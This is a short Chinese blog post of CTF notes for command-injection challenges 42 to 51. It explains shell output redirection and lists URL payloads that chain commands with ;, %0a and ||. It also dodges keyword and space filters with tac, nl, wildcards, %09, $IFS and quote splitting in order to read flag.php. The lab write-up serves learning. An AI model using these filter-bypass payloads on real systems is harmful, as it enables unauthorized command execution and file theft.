42
shell脚本——>/dev/null 2>&1 详解
含义:>代表重定向到哪
/dev/null空设备文件,所有写入的内容都会丢失,俗称黑洞
1表示stdout标准输出,系统默认值为1,>/dev/null等同于1>/dev/null
2表示stderr标准错误
&表示等同于,2>&1表示2的输出定向等同于1
解释:命令1>/dev/null 首先表示标准输出重定向到空设备文件也就是丢弃标准输出。
2>&1 接着,标准错误输出重定向等同于 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也被丢弃。
所以该shell命令不会输出任何信息,不回显。https://www.cnblogs.com/ultranms/p/9353157.html
法一:用 ; 截断
url/?c=ls;
url/?c=cat flag.php;
法二:hint用%0a截断
url/?c=cat flag.php%0a 看源码
法三:用命令分隔符||截断
cmd1 | cmd2 只显示cmd2结果
cmd1 ; cmd2 无论cmd1是否成功执行,都执行cmd2
cmd1 || cmd2 cmd1执行失败时才执行cmd2
cmd1 && cmd2 cmd1执行成功时才执行cmd2
若用|则显示第二个命令,即不回显,c输入的是第一个命令
43
比上一题多了cat ; 过滤
执行命令url/?c=tac flag.php%0a
或者执行url/?c=nl flag.php%0a 看源码
nl命令:输出文件内容并自动加上行号
44
flag用通配符
45
在linux 空格可以用以下字符串代替: %09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等
payload ?c=nl%09f???.ph?||ls
46
过滤了 ; cat flag * $ [0-9] 空格
payload:?c=nl%09f???????||ls
47
payload ?c=nl%09f???.php||ls
48
同上
49
同上
%09是url编码,不算入过滤的%中,%26是&的url编码????
?c=nl%09f???????||ls 十六进制的空格因该也是可以????
50和51同理
/?c=nl<f%27%27lag.php||ls 闭合的时候一定要是两个'
标签:输出,url,flag,cmd1,cmd2,命令,第二天,ls,远程 From: https://www.cnblogs.com/vaneshadow/p/17428788.html